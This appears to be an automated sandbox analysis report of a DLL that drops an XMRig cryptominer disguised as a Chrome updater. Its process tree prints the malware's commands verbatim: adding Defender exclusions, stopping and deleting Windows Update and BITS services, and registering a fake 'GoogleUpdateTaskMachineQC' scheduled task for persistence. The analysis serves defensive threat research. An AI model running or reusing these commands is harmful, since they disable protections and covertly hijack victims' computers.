Analysis

  • max time kernel
    151s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/10/2022, 09:21

General

  • Target
    a54d4986e42a30f271bf1e70e9153b44.dll
  • Size 2.7MB
  • Sample221025-lbcbtacbcq
  • SHA256 1d58e9f81b10e3da48c2525020f25e6109f14026e1234041bf7131c5b8c0c8bd
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Stops running service(s) 3 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\a54d4986e42a30f271bf1e70e9153b44.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1268
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\a54d4986e42a30f271bf1e70e9153b44.dll,#1
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4496
      • C:\Users\Admin\AppData\Local\Temp\ysniwclygugcrlzbcw.exe
        "C:\Users\Admin\AppData\Local\Temp\ysniwclygugcrlzbcw.exe"
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3832
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1800
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1416
          • C:\Windows\system32\sc.exe
            sc stop UsoSvc
            5⤵
            • Launches sc.exe
            PID:2404
          • C:\Windows\system32\sc.exe
            sc stop WaaSMedicSvc
            5⤵
            • Launches sc.exe
            PID:1704
          • C:\Windows\system32\sc.exe
            sc stop wuauserv
            5⤵
            • Launches sc.exe
            PID:3916
          • C:\Windows\system32\sc.exe
            sc stop bits
            5⤵
            • Launches sc.exe
            PID:4292
          • C:\Windows\system32\sc.exe
            sc stop dosvc
            5⤵
            • Launches sc.exe
            PID:4432
          • C:\Windows\system32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
            5⤵
              PID:4700
            • C:\Windows\system32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
              5⤵
                PID:4500
              • C:\Windows\system32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                5⤵
                • Modifies security service
                PID:2372
              • C:\Windows\system32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                5⤵
                  PID:4720
                • C:\Windows\system32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                  5⤵
                    PID:3912
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell <#gesvv#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe' }
                  4⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5060
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell <#btrwhe#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe" }
                  4⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:3324
                  • C:\Windows\system32\schtasks.exe
                    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
                    5⤵
                      PID:2088
            • C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
              C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
              1⤵
              • Drops file in Drivers directory
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:4604
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:1352
              • C:\Windows\system32\cmd.exe
                cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1744
                • C:\Windows\system32\sc.exe
                  sc stop UsoSvc
                  3⤵
                  • Launches sc.exe
                  PID:2408
                • C:\Windows\system32\sc.exe
                  sc stop WaaSMedicSvc
                  3⤵
                  • Launches sc.exe
                  PID:4140
                • C:\Windows\system32\sc.exe
                  sc stop wuauserv
                  3⤵
                  • Launches sc.exe
                  PID:5088
                • C:\Windows\system32\sc.exe
                  sc stop bits
                  3⤵
                  • Launches sc.exe
                  PID:1444
                • C:\Windows\system32\sc.exe
                  sc stop dosvc
                  3⤵
                  • Launches sc.exe
                  PID:2568
                • C:\Windows\system32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                  3⤵
                    PID:1380
                  • C:\Windows\system32\reg.exe
                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                    3⤵
                      PID:4368
                    • C:\Windows\system32\reg.exe
                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                      3⤵
                        PID:4320
                      • C:\Windows\system32\reg.exe
                        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                        3⤵
                          PID:3252
                        • C:\Windows\system32\reg.exe
                          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                          3⤵
                            PID:1276
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell <#gesvv#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe' }
                          2⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:2996
                        • C:\Windows\system32\cmd.exe
                          cmd /c mkdir "C:\Users\Admin\AppData\Roaming\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\Admin\AppData\Roaming\Google\Libs\g.log"
                          2⤵
                            PID:664
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic PATH Win32_VideoController GET Name, VideoProcessor
                              3⤵
                                PID:5108
                            • C:\Windows\system32\conhost.exe
                              C:\Windows\system32\conhost.exe cuujhamlfzwomvc
                              2⤵
                                PID:1872
                              • C:\Windows\system32\dwm.exe
                                C:\Windows\system32\dwm.exe hhpaajoofiimzvle 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnbMNdSoXP4ts/KtNDhUPQkUGu8K1XCwbSh+ypLRcuGVjKHCqkQEbMjFPp2wEHUk/2YPEa7u8eDtaLNsvMtmfnW7pfZpWBLC28ol0YuaRyoAomoKg0M+MybStmWANwpbdJc3A2uC6nbgxCBAPoLOO1OuubEuAZTBCdX/xrrcvKnB4H9LwgUyVl9z4LaBunuWLn9L+984DlEL8pLkHAhoqzbgnzq2Q8UulW3Pe1gu+jesqTUbmj//6+fiMhPgKixPwrGz+CELGutufbQREgiXW/NQvg1coXmscuZ6yQ7RnXXKH4GsnmWjjAo51w5WaTYtMM4tqi5n6yulrtZsexR2Y9abHIdInko1dNj2btVqFpVDPxbdEbNaQGAVINOHgf8WWal3b6c2wr6mRVWR/3OEXgmNHc0PdsvyYK2oX+Nd+NLu2cGMVpnPgCpRS4DeAKMErD9sVFST+vIdKC5haHZrq6Ao
                                2⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:1036
                            • C:\Windows\system32\cmd.exe
                              cmd /c mkdir "C:\Users\Admin\AppData\Roaming\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\Admin\AppData\Roaming\Google\Libs\g.log"
                              1⤵
                                PID:4948

                              Network

                                    MITRE ATT&CK Enterprise v6

                                    Replay Monitor

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                                    Downloads

                                    powershell.exe.log

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                    • Size 2KB
                                    • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                                    • MD5 SHA1 SHA512

                                    StartupProfileData-NonInteractive

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    • Size 944B
                                    • SHA256 18f381e0db020a763b8c515c346ef58679ab9c403267eacfef5359e272f7e71d
                                    • MD5 SHA1 SHA512

                                    StartupProfileData-NonInteractive

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    • Size 1KB
                                    • SHA256 eb2ee0d970eb681182540830a50ad83eac4b043ce725c42d643f7f4c98f931c9
                                    • MD5 SHA1 SHA512

                                    StartupProfileData-NonInteractive

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    • Size 1KB
                                    • SHA256 36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383
                                    • MD5 SHA1 SHA512

                                    StartupProfileData-NonInteractive

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    • Size 944B
                                    • SHA256 3e1615e7774bd98860c984570515c293b64cf07f1b8e6688a72e78fa9ebed0f4
                                    • MD5 SHA1 SHA512

                                    ysniwclygugcrlzbcw.exe

                                    • Path C:\Users\Admin\AppData\Local\Temp\ysniwclygugcrlzbcw.exe
                                    • Size 4.0MB
                                    • SHA256 1407005795e62e9cf1c25ac71cb547b2f59dcbb427823e1bc58c75fc05ff328a
                                    • MD5 SHA1 SHA512 SSDEEP

                                    ysniwclygugcrlzbcw.exe

                                    • Path C:\Users\Admin\AppData\Local\Temp\ysniwclygugcrlzbcw.exe
                                    • Size 4.0MB
                                    • SHA256 1407005795e62e9cf1c25ac71cb547b2f59dcbb427823e1bc58c75fc05ff328a
                                    • MD5 SHA1 SHA512 SSDEEP

                                    updater.exe

                                    • Path C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
                                    • Size 4.0MB
                                    • SHA256 097ea3bed40d4251c6b1d68d0eb5703512698456f4e8dfbcb3930a3e37b7eaa4
                                    • MD5 SHA1 SHA512 SSDEEP

                                    updater.exe

                                    • Path C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
                                    • Size 4.0MB
                                    • SHA256 097ea3bed40d4251c6b1d68d0eb5703512698456f4e8dfbcb3930a3e37b7eaa4
                                    • MD5 SHA1 SHA512 SSDEEP

                                    g.log

                                    • Path C:\Users\Admin\AppData\Roaming\Google\Libs\g.log
                                    • Size 226B
                                    • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                                    • MD5 SHA1 SHA512

                                    hosts

                                    • Path C:\Windows\system32\drivers\etc\hosts
                                    • Size 2KB
                                    • SHA256 ff93b60eb90fcf9632b08354dfe9bc1bc32a6fc805ddefa61a560aff37186b11
                                    • MD5 SHA1 SHA512

                                    memory/1036-188-0x000002615AD70000-0x000002615AD90000-memory.dmp

                                    memory/1036-196-0x000002615AE40000-0x000002615AE60000-memory.dmp

                                    memory/1036-193-0x000002615AE20000-0x000002615AE40000-memory.dmp

                                    memory/1036-192-0x000002615AE20000-0x000002615AE40000-memory.dmp

                                    memory/1036-191-0x00007FF750040000-0x00007FF750834000-memory.dmp

                                    memory/1036-197-0x000002615AE20000-0x000002615AE40000-memory.dmp

                                    memory/1036-190-0x000002615ADA0000-0x000002615ADE0000-memory.dmp

                                    memory/1036-189-0x00007FF750040000-0x00007FF750834000-memory.dmp

                                    memory/1036-194-0x000002615AE40000-0x000002615AE60000-memory.dmp

                                    memory/1036-195-0x000002615AE20000-0x000002615AE40000-memory.dmp

                                    memory/1352-163-0x00007FFBFE0F0000-0x00007FFBFEBB1000-memory.dmp

                                    memory/1800-174-0x00007FFBFE0F0000-0x00007FFBFEBB1000-memory.dmp

                                    memory/1800-137-0x00007FFBFE0F0000-0x00007FFBFEBB1000-memory.dmp

                                    memory/1800-136-0x00000236F4560000-0x00000236F4582000-memory.dmp

                                    memory/2996-180-0x00007FFBFE0F0000-0x00007FFBFEBB1000-memory.dmp

                                    memory/2996-177-0x00007FFBFE0F0000-0x00007FFBFEBB1000-memory.dmp

                                    memory/3324-160-0x00007FFBFE0F0000-0x00007FFBFEBB1000-memory.dmp

                                    memory/3324-156-0x00007FFBFE0F0000-0x00007FFBFEBB1000-memory.dmp

                                    memory/5060-152-0x00007FFBFE0F0000-0x00007FFBFEBB1000-memory.dmp

                                    memory/5060-153-0x00007FFBFE0F0000-0x00007FFBFEBB1000-memory.dmp